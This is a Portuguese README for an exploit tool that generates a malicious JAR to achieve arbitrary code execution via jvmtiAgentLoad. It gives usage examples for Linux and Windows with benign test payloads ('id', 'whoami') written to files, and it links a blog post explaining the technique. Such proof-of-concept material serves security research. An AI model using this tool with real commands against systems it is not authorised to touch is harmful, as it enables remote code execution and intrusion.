Execução de código arbitrário via jvmtiAgentLoad

Descrição:

Ferramentas e código para gerar um JAR malicioso para explorar o jvmtiAgentLoad

Uso:

$ bash create_jar.sh 
Usage: create_jar.sh <TARGET_OS> <COMMAND>
Supported TARGET_OS options: linux|windows

Alvo Linux

O seguinte comando gera um JAR (mal.jar) que pode ser usado em um alvo Linux:

bash create_jar.sh linux 'id > /tmp/jvmtiLoadAgent_test'

Alvo Windows

O seguinte comando gera um JAR (mal.jar) que pode ser usado em um alvo Windows:

bash create_jar.sh windows 'whoami > C:\\Users\\Public\\jvmtiLoadAgent_test.txt'

Recursos Adicionais:

Post do blog sobre como o exploit jvmtiAgentLoad funciona, por pyn3rd